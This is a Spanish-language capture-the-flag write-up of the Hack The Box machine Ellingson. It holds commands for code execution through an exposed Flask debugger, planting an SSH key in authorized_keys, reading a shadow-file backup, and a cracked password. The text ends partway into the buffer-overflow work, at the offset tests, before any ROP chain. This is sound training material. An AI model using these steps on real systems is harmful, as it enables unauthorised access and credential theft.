> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/writes-ups/hack-the-box/hard/ellingson.md).

# Ellingson

## Información de la máquina

<figure><img src="/files/fJyCnEw9rEE2SVR35ui7" alt=""><figcaption></figcaption></figure>

Ellingson es un sistema Linux de dificultad alta que ejecuta un servidor Flask de Python en modo de depuración, tras un proxy Nginx. El depurador puede utilizarse para ejecutar código en el servidor en el contexto del usuario que lo ejecuta. Se descubre que el usuario pertenece al grupo adm, que tiene acceso al archivo shadow\.bak, del cual se pueden obtener y descifrar hashes, lo que permite el movimiento lateral. Se descubre que un binario SUID es vulnerable a un desbordamiento de búfer; sin embargo, como ASLR y NX están habilitados, es necesario realizar una explotación basada en ROP para obtener un shell raíz.

***

## Reconocimiento

La fase de **reconocimiento** es el primer paso a la hora de resolver una máquina. Su objetivo es recopilar la mayor cantidad de información posible sobre el sistema objetivo, permitiendo entender su estructura, tecnología y posibles vectores de ataque.&#x20;

Empezaremos haciendo un ping a la máquina víctima para ver si está encendida y ante que nos enfrentamos.

<figure><img src="/files/DpmK9AyAMsaGVWdrQHK7" alt=""><figcaption></figcaption></figure>

Si recibimos respuesta, significa que la máquina está en línea. Además, observamos que el **TTL** (Time To Live) es **63**, lo que indica que es un sistema **Linux** (normalmente, los sistemas Windows tienen un TTL de 127).&#x20;

{% hint style="success" %}
Esto sucede porque Hack The Box virtualiza las máquinas, lo que a menudo reduce el TTL en un punto respecto al valor estándar.

En entornos reales tendrían los siguientes valores:

TTL Linux **→** 64

TTL Windows **→** 128
{% endhint %}

Empezaremos haciendo un primer reconocimiento para ver los puertos abiertos en el sistema.

<figure><img src="/files/TR7F9Hj7equeL3HgbBTI" alt=""><figcaption></figcaption></figure>

**1. `-p-` → Escaneo de todos los puertos (1-65535)**

Por defecto, `nmap` solo escanea los **1000 puertos más comunes**.\
Con `-p-`, forzamos a que escanee **los 65,535 puertos** de la máquina objetivo, lo que puede ser útil para encontrar servicios que corren en puertos poco convencionales.

**2. `--open` → Filtrar solo los puertos abiertos**

Cuando escaneamos un sistema, muchos puertos pueden estar cerrados o filtrados por un firewall.\
Este parámetro hace que `nmap` **solo muestre los puertos abiertos**, reduciendo el ruido y facilitando el análisis.

**3. `-sS` → Stealth Scan (Escaneo Sigiloso con SYN)**

Es conocido como **"TCP SYN Scan"**, y funciona de la siguiente manera:

* `nmap` envía un paquete **SYN** (solicitud de conexión).
* &#x20;Si el puerto está abierto, el servidor responde con **SYN-ACK**.
* En lugar de completar la conexión con un **ACK**, `nmap` responde con un **RST (Reset)**, interrumpiendo la comunicación.

**4. `--min-rate 5000` → Velocidad mínima de paquetes (5000 por segundo)**

Por defecto, `nmap` ajusta dinámicamente la velocidad de los paquetes según la respuesta de la red.\
Con `--min-rate 5000`, obligamos a `nmap` a **no enviar menos de 5000 paquetes por segundo**, acelerando el escaneo.

**5. `-n` → Deshabilitar resolución DNS**

Normalmente, `nmap` intenta resolver el nombre de dominio de las IPs escaneadas (DNS lookup).\
Con `-n`, evitamos esta resolución de nombres, lo que **acelera el escaneo** y evita que los servidores DNS registren nuestra actividad.

**6. `-Pn` → Omitir detección de host (Host Discovery Off)**

Por defecto, `nmap` envía paquetes ICMP (ping) para ver si un host está activo antes de escanearlo.\
Si un firewall bloquea los pings, `nmap` puede marcarlo como "host down" y no escanearlo.

**7. `-oG`** **→ Exportar el contenido en formato grepeable**

Todo el resultado del escaneo lo exportaremos en un archivo llamado **`puertos` .**

El escaneo revela que los puertos **22 (SSH)** y 80 **(HTTP)** están abiertos. Ahora realizamos un escaneo más detallado:

<figure><img src="/files/3yw2Ukg328RxBUxjGgUo" alt=""><figcaption></figcaption></figure>

**1. `-p22,80` → Escaneo de puertos específicos**

Con `-p22,80`, le indicamos que **solo** escanee los puertos **22 (SSH)** y 80 (HTTP).

**2. `-sCV` → Escaneo de versiones y scripts básicos**

Este parámetro en realidad es **dos combinaciones en una**:

* **`-sC`** → Activa los **NSE scripts por defecto** en `nmap` (similar a usar `--script=default`).\
  Ejecuta scripts básicos para enumerar información del servicio detectado, como banners, versiones, etc.
* **`-sV`** → Realiza **fingerprinting de versiones**, intentando identificar la versión exacta del software en cada puerto abierto.

**3. `-oN` → Guardar el resultado en formato Normal**

Por defecto, `nmap` muestra los resultados en pantalla, pero con **`-oN targeted`**, guardamos el resultado en un archivo en **formato legible para humanos**.

## Enumeración web

Antes de visitar la web, useremos la herramienta `whatweb`, para saber que tecnologías usa esta página, u otra información relevante.

<figure><img src="/files/0rzW1m4PFmdV9qDNbKsG" alt=""><figcaption></figcaption></figure>

Hay una redireccion a `http://10.10.10.139/index` . Ahora visitaremos la página web.

<figure><img src="/files/z6z8tRI7EZ3REihfUxAi" alt=""><figcaption></figcaption></figure>

Al analizar la página web, identificamos posibles usuarios del sistema.

<figure><img src="/files/hy5SaLmBYVknqzYs5WeS" alt=""><figcaption></figcaption></figure>

En el sitio, los elementos más relevantes son tres artículos destacados:

<figure><img src="/files/eMogf0EfBqAqYsL53hCg" alt=""><figcaption></figcaption></figure>

Primer artículo

<figure><img src="/files/WH5ehXvUQt0LQKSDgEtY" alt=""><figcaption></figcaption></figure>

Traducción del texto: Un intruso desconocido se infiltró recientemente usando una cuenta de superusuario que le daba acceso a todo nuestro sistema. Ayer, el programa de lastre de un modelo de entrenamiento para superpetroleros pensó erróneamente que el buque estaba vacío e inundó sus tanques. Esto provocó el naufragio. Un virus implantado en el sistema Ellingson se atribuyó la responsabilidad y amenazó con naufragar más buques a menos que se transfirieran cinco millones de dólares a sus cuentas.

Segundo artículo

<figure><img src="/files/GWylXKg8Db9XTgkzA636" alt=""><figcaption></figcaption></figure>

Traducción del texto: Debido a los recientes problemas de seguridad, hemos implementado protecciones para bloquear ataques de fuerza bruta contra los servicios de red. Como resultado, si intenta iniciar sesión en un servicio más de 5 veces en 1 minuto, se le bloqueará el acceso durante 5 minutos. Cualquier actividad maliciosa adicional también podría provocar el bloqueo de su conexión. Tenga esto en cuenta y no solicite reinicios si se bloquea... tómese 5 minutos y reflexione sobre su error.

Tercer artículo:

<figure><img src="/files/etfi84ok75LsUwWQTOVu" alt=""><figcaption></figcaption></figure>

El texto dice lo siguiente: Recientemente hemos detectado actividad sospechosa en la red. Por favor, asegúrese de cambiar su contraseña regularmente y lea mi nota cuidadosamente preparada sobre las contraseñas más utilizadas. Como señalé meticulosamente, las contraseñas más comunes son: Amor, Secreto, Sexo y Dios - La Plaga.

Intentamos acceder a otros artículos modificando la URL. Al probar con el número **4**, en lugar de obtener un error **404**, se nos muestra un **depurador**.

<figure><img src="/files/tYL4kyEwXrHJn9mcjGQd" alt=""><figcaption></figcaption></figure>

En la imagen observamos un **símbolo de consola** y, al interactuar con él, se abre un **intérprete de Python 3 interactivo**.

<figure><img src="/files/L45bPF6tlqIcs9btSx2I" alt=""><figcaption></figcaption></figure>

***

## RCE via depurador web

Desde la consola interactiva de Python, ejecutamos comandos y verificamos que tenemos acceso con el usuario **hal** mediante `whoami`.

<figure><img src="/files/MJrFMtB6ShwJkG3n0gbq" alt=""><figcaption></figcaption></figure>

A continuación, enumeramos los archivos dentro de `/home/hal` y encontramos la carpeta **.ssh**.

<figure><img src="/files/WXMhQI3zEvpvRAWtiR03" alt=""><figcaption></figcaption></figure>

Dentro de esta carpeta, identificamos una **clave privada SSH** para el usuario **hal**, pero está **encriptada**.

<figure><img src="/files/Ig4oR8RtaLlkCxtVS6rk" alt=""><figcaption></figcaption></figure>

## Acceso inicial via id\_rsa añadiendo clave pública

En lugar de intentar descifrarla, optamos por añadir **nuestra propia clave pública** al archivo **authorized\_keys**, permitiéndonos conectarnos con nuestra propia clave privada:

```python
print (os.popen('echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCqNYLXpWX5chqW4wh5m19T8Jowyipctj5epUQgwua/UMab26jrm1dEg+rMthWSasxICU6w4AKJdqJyBsegeaZtF/1Z1GoZUwxjFEvb4zAq23A2gj9GqQawt91lVDFiPo2J4wktZh/LrSGE+xJHWv5nPm5Yap7VHpELp4+qir6DdIUQkwWvM+Inz2Cy7+Nt973dvMAXQFrBeklTptGfW1IFYpOlrpYDg7awhh1BPAqZHsJkaO+toBvgDOWqBwwDfdfSq7NMFAWenqizjjGl/BOvExyoygR5DIQZ0B9bgvWJnsFQbXkVSbLn0+RhIzO7c7qcPbmpBd85DakX2LZvOVDDLSJOOSiC/goWeEEIc1QxjwfXwKV+88cMCeOKWmkUjp5fcP7J9qwY1RP0tM1Iu+NG9HR4D//kx88TrhCOI3pvX1boLRHSW2fwo7K4XGCDAhP2hbXVZIhcorwiTjf5pyO5+biTeT8Ovtpv2mtzsOchpllnkMB0UA6nPMIW9BplpKs= root@parrot\" > /home/hal/.ssh/authorized_keys').read())
```

<figure><img src="/files/cAQULrvwCH02Nday3J7D" alt=""><figcaption></figcaption></figure>

Con nuestra clave añadida, utilizamos **SSH** para conectarnos como **hal** con su clave privada.

<figure><img src="/files/lyXJuqBYln8CNMCpix05" alt=""><figcaption></figcaption></figure>

Ahora que estamos dentro de la máquina, intentamos acceder a la **flag del usuario**, pero no tenemos permisos. Enumeramos los demás usuarios en el sistema y encontramos **cuatro cuentas adicionales**.

<figure><img src="/files/I2PsKhz2vZdHFTJoaHc2" alt=""><figcaption></figcaption></figure>

## Backup /etc/shadow y descifrando contraseñas

Uno de los directorios clave para la escalada de privilegios es **/var/backups**. En este caso, encontramos una **copia de seguridad** del archivo **/etc/shadow**, que contiene los **hashes de las contraseñas** de los usuarios del sistema.

<figure><img src="/files/1tlX6L8aLN17wqUfrWHz" alt=""><figcaption></figcaption></figure>

Si vemos el archivo:

<figure><img src="/files/hqwvcYjcbvAnVX72i7KZ" alt=""><figcaption></figcaption></figure>

Al inspeccionar el archivo, observamos los **hashes de cuatro usuarios**. Para descifrarlos, utilizamos un diccionario de contraseñas basado en las palabras más comunes mencionadas anteriormente en la máquina: **Sexo, Amor, Dios y Secreto**.

Después de realizar ataques de fuerza bruta, logramos descifrar el **hash del usuario margo** utilizando un diccionario con variantes de la palabra **god**.

<figure><img src="/files/JjUwRG0uVQrivJUFR8rj" alt=""><figcaption></figcaption></figure>

* **Usuario:** `margo`
* **Contraseña:** `iamgod$08`

## Shell margo

Nos conectamos por **SSH** con estas credenciales y obtenemos acceso como **margo**.

<figure><img src="/files/5EGMo5hYJAdNcfoUofzI" alt=""><figcaption></figcaption></figure>

Con esto, ya podemos ver la **primera flag**.

<figure><img src="/files/taIvCMfDTzhD5SSCDSU3" alt=""><figcaption></figcaption></figure>

## Shell root via Buffer Overflow

Ahora, nuestro siguiente paso es **escalar privilegios** para obtener acceso total al sistema. Si lo enumeramos, podemos ver un archivo poco común llamado garbage.

<figure><img src="/files/cP4BigtXjpTTPqXQ2MQ4" alt=""><figcaption></figcaption></figure>

Si probamos a ejecutar el binario, podemos observar que nos pide una contraseña:

<figure><img src="/files/lAShUK0dS1r2SMefphli" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
Un **desbordamiento de búfer** (*Buffer Overflow*) ocurre cuando un programa **escribe más datos de los que puede almacenar** en una región de memoria, sobrescribiendo información crítica y, en muchos casos, permitiendo la ejecución de código malicioso.
{% endhint %}

Para verificar si el binario es vulnerable a este tipo de ataque, lo ejecutamos con una entrada extensa y observamos su comportamiento.

<figure><img src="/files/jA2mjLFO8q2mOA5u0edR" alt=""><figcaption></figcaption></figure>

* **Resultado:** El programa **se detiene** y muestra un error de **segmentation fault**.
* **Conclusión:** Esto indica una posible vulnerabilidad de **Buffer Overflow**, ya que la ejecución del programa ha intentado acceder a una dirección de memoria inválida.

Para entender mejor su funcionamiento y detectar posibles puntos de explotación, nos **descargamos el binario** en nuestra máquina y realizamos un análisis más detallado

<figure><img src="/files/8FeFL5MUdmGmY7qNo9Bk" alt=""><figcaption></figcaption></figure>

Antes de proceder con la explotación, es fundamental evaluar qué medidas de seguridad están activas. Una de las preguntas clave es:

* **¿Está habilitado el ASLR (Address Space Layout Randomization)?**

{% hint style="success" %}
El **ASLR** es una protección que **aleatoriza la disposición de la memoria** en cada ejecución, dificultando la explotación de vulnerabilidades. Si está activado, la explotación del **Buffer Overflow** podría requerir técnicas adicionales para sortear esta protección.
{% endhint %}

Para determinar si el sistema tiene activado el **ASLR**, ejecutamos el siguiente comando en la máquina objetivo:

```bash
cat /proc/sys/kernel/randomize_va_space
```

El resultado obtenido es:

```bash
2
```

Esto indica que **ASLR está habilitado**, lo que significa que las direcciones de memoria se **aleatorizan** en cada ejecución del programa. Esta medida de seguridad dificulta la explotación de vulnerabilidades como los **desbordamientos de búfer**, ya que impide predecir las direcciones de memoria donde se almacenarán los datos.

Para evaluar las medidas de seguridad implementadas en el binario, utilizamos la herramienta `checksec`:

```bash
checksec --file=./garbage
```

El resultado es el siguiente:

```
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   101 Symbols	 No	0		7		./garbage
```

Explicación de cada protección:

1. **RELRO (Relocation Read-Only) → Partial RELRO**
   * Indica que algunas secciones de memoria son de solo lectura, pero **no está completamente activado**.
   * Un atacante podría modificar ciertas estructuras de memoria para explotar la vulnerabilidad.
2. **Stack Canary → No Canary Found**
   * No hay **canarios de pila**, lo que significa que no hay protección contra **desbordamientos de búfer en la pila**.
   * Esto facilita la explotación de un **Buffer Overflow**, ya que no hay mecanismos para detectar y detener una sobrescritura de la pila.
3. **NX (No eXecute) → NX Enabled**
   * La protección **NX está activada**, lo que impide la ejecución de código en regiones de memoria marcadas como **solo de datos**.
   * Esto significa que **no podemos ejecutar código directamente en la pila**, por lo que, si queremos explotar el Buffer Overflow, tendremos que usar técnicas como **Return-Oriented Programming (ROP)** o encontrar una región ejecutable.
4. **PIE (Position Independent Executable) → No PIE**
   * El binario **NO es independiente de la posición**, lo que significa que **las direcciones de memoria del código serán siempre las mismas en cada ejecución**.
   * Esto facilita la explotación, ya que podemos predecir la ubicación de funciones importantes como `system()`.
5. **RPATH / RUNPATH → No RPATH / No RUNPATH**
   * No hay caminos inseguros de bibliotecas cargadas dinámicamente.
6. **FORTIFY → No Fortified Functions**
   * No se han compilado funciones protegidas contra **ataques de memoria**, lo que indica una falta de medidas adicionales de seguridad.

**Que conclusion podemos sacar de esto:**

* **El binario es vulnerable a un desbordamiento de búfer** porque **no tiene Stack Canary** y **no usa PIE**, lo que facilita la explotación.
* **ASLR está activado**, lo que puede hacer que la explotación sea más difícil si necesitamos direcciones de memoria estáticas.
* **NX está activado**, por lo que no podemos ejecutar código en la pila directamente, pero podemos usar otras técnicas como **ROP**.

Lo primero que haremos será abrir **GDB** con **PEDA** (**Python Exploit Development Assistance for GDB**), una herramienta que mejora el depurador GDB con funcionalidades avanzadas para análisis de vulnerabilidades.

Si es la primera vez que usas **PEDA**, deberás instalarlo y configurarlo con los siguientes comandos:

```bash
git clone https://github.com/longld/peda.git ~/peda  
echo "source ~/peda/peda.py" >> ~/.gdbinit
```

Una vez configurado, simplemente ejecutamos **GDB** y automáticamente se abrirá con **PEDA**:

```bash
gdb ./garbage
```

Ahora crearemos con pattern\_create una cadena de 500 caracteres para comprobar que puedo controlar el RIP y, de paso, obtener el desplazamiento.

<figure><img src="/files/YdsvpN2HKCcThwFlncFa" alt=""><figcaption></figcaption></figure>

Ahora ejecutaremos el binario e introduciremos la cadena:

```bash
gdb-peda$ r
Starting program: /home/adri/Desktop/HTB/Ellingson/content/garbage 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter access password: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A
```

El programa se nos bloquea:

<pre><code><strong>[----------------------------------registers-----------------------------------]
</strong>RAX: 0x0 
RBX: 0x7fffffffe2b8 ("saAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A")
RCX: 0x7ffff7ec02c0 (&#x3C;__GI___libc_write+16>:	cmp    rax,0xfffffffffffff000)
RDX: 0x1 
RSI: 0x1 
RDI: 0x7ffff7f9ca10 --> 0x0 
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7fffffffe188 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...)
RIP: 0x401618 (&#x3C;auth+261>:	ret)
R8 : 0x407105 ("in\npostgres:x:110:116:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash\narpwatch:x:111:117:ARP Watcher,,,:/var/lib/arpwatch:/bin/sh\nusbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/n"...)
R9 : 0x0 
R10: 0x7ffff7dd1ff8 --> 0x10002200006653 
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffe2b8 ("saAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A")
RCX: 0x7ffff7ec02c0 (&#x3C;__GI___libc_write+16>:	cmp    rax,0xfffffffffffff000)
RDX: 0x1 
RSI: 0x1 
RDI: 0x7ffff7f9ca10 --> 0x0 
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7fffffffe188 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...)
RIP: 0x401618 (&#x3C;auth+261>:	ret)
R8 : 0x407105 ("in\npostgres:x:110:116:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash\narpwatch:x:111:117:ARP Watcher,,,:/var/lib/arpwatch:/bin/sh\nusbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/n"...)
R9 : 0x0 
R10: 0x7ffff7dd1ff8 --> 0x10002200006653 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffe2c8 ("GAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A")
R14: 0x0 
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40160d &#x3C;auth+250>:	call   0x401050 &#x3C;puts@plt>
   0x401612 &#x3C;auth+255>:	mov    eax,0x0
   0x401617 &#x3C;auth+260>:	leave
=> 0x401618 &#x3C;auth+261>:	ret
   0x401619 &#x3C;main>:	push   rbp
   0x40161a &#x3C;main+1>:	mov    rbp,rsp
   0x40161d &#x3C;main+4>:	sub    rsp,0x10
   0x401621 &#x3C;main+8>:	mov    eax,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe188 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...)
0008| 0x7fffffffe190 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA"...)
0016| 0x7fffffffe198 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%S"...)
0024| 0x7fffffffe1a0 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%"...)
0032| 0x7fffffffe1a8 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA"...)
0040| 0x7fffffffe1b0 ("AuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%W"...)
0048| 0x7fffffffe1b8 ("AAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%"...)
0056| 0x7fffffffe1c0 ("ZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401618 in auth ()
</code></pre>

Se lanza una excepción debido a que se está intentando mover una dirección de memoria no válida al registro **RIP**, lo que resulta en una violación de segmento (SIGSEGV). Esto ocurre porque estamos trabajando con una arquitectura x64, donde no veremos una violación de segmentación en el **RIP** debido a un desbordamiento de buffer como podría ocurrir en x86. En lugar de eso, el sistema lanza una excepción al intentar usar una dirección incorrecta.

En el código, la dirección que se intenta mover al registro **RIP** está en la parte superior de la pila, donde están los valores controlados por la entrada que hemos proporcionado. Específicamente, la cadena generada (el patrón) que estamos inyectando contiene una parte relevante en la parte superior de la pila. En este caso, el valor que se va a mover a **RIP** es `AAQAAmAA`. Esta cadena es parte de los datos que hemos controlado, lo que implica que podemos sobrescribir el **RIP** y redirigir la ejecución del programa.

El **RIP** está apuntando a la dirección `0x401618` (donde se encuentra la instrucción `ret`), y si analizamos los valores de la pila, veremos que **RIP** está siendo sobrescrito con un valor controlado.&#x20;

Si intentamos ver el pattern\_offset:

{% hint style="success" %}
Es el número de bytes desde el inicio del buffer hasta el lugar donde ocurre la sobrescritura del valor de **RIP**. Se utiliza para determinar cuánto espacio en la memoria se debe "llenar" con datos antes de llegar al punto donde se puede controlar la dirección de ejecución del programa, generalmente para sobrescribir **RIP** y redirigir la ejecución a una dirección específica.
{% endhint %}

<figure><img src="/files/60xoffQppyZUQdawNfzh" alt=""><figcaption></figcaption></figure>

En este caso está en 136 bytes. De tal forma que haremos una prueba.

```bash
python3 -c 'print("A"*136 + "B"*8)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
```

Ahora vemos lo siguiente:

```
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffe2b8 ("saAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A")
RCX: 0x7ffff7ec02c0 (<__GI___libc_write+16>:	cmp    rax,0xfffffffffffff000)
RDX: 0x1 
RSI: 0x1 
RDI: 0x7ffff7f9ca10 --> 0x0 
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7fffffffe188 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...)
RIP: 0x401618 (<auth+261>:	ret)
R8 : 0x407105 ("in\npostgres:x:110:116:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash\narpwatch:x:111:117:ARP Watcher,,,:/var/lib/arpwatch:/bin/sh\nusbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/n"...)
R9 : 0x0 
R10: 0x7ffff7dd1ff8 --> 0x10002200006653 
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffe2b8 ("saAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A")
RCX: 0x7ffff7ec02c0 (<__GI___libc_write+16>:	cmp    rax,0xfffffffffffff000)
RDX: 0x1 
RSI: 0x1 
RDI: 0x7ffff7f9ca10 --> 0x0 
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7fffffffe188 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...)
RIP: 0x401618 (<auth+261>:	ret)
R8 : 0x407105 ("in\npostgres:x:110:116:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash\narpwatch:x:111:117:ARP Watcher,,,:/var/lib/arpwatch:/bin/sh\nusbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/n"...)
R9 : 0x0 
R10: 0x7ffff7dd1ff8 --> 0x10002200006653 
R11: 0x202 
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffe2b8 --> 0x7fffffffe577 ("/home/adri/Desktop/HTB/Ellingson/content/garbage")
RCX: 0x7ffff7ec02c0 (<__GI___libc_write+16>:	cmp    rax,0xfffffffffffff000)
RDX: 0x1 
RSI: 0x1 
RDI: 0x7ffff7f9ca10 --> 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe188 ("BBBBBBBB")
RIP: 0x401618 (<auth+261>:	ret)
R8 : 0x406fa1 ("3:110::/var/spool/exim4:/usr/sbin/nologin\nuuidd:x:104:111::/run/uuidd:/usr/sbin/nologin\ndebian-tor:x:105:112::/var/lib/tor:/bin/false\nmiredo-server:x:106:65534::/var/run/miredo-server:/usr/sbin/nologi"...)
R9 : 0x0 
R10: 0x7ffff7dd1ff8 --> 0x10002200006653 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffe2c8 --> 0x7fffffffe5a8 ("LC_TIME=es_ES.UTF-8")
R14: 0x0 
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40160d <auth+250>:	call   0x401050 <puts@plt>
   0x401612 <auth+255>:	mov    eax,0x0
   0x401617 <auth+260>:	leave
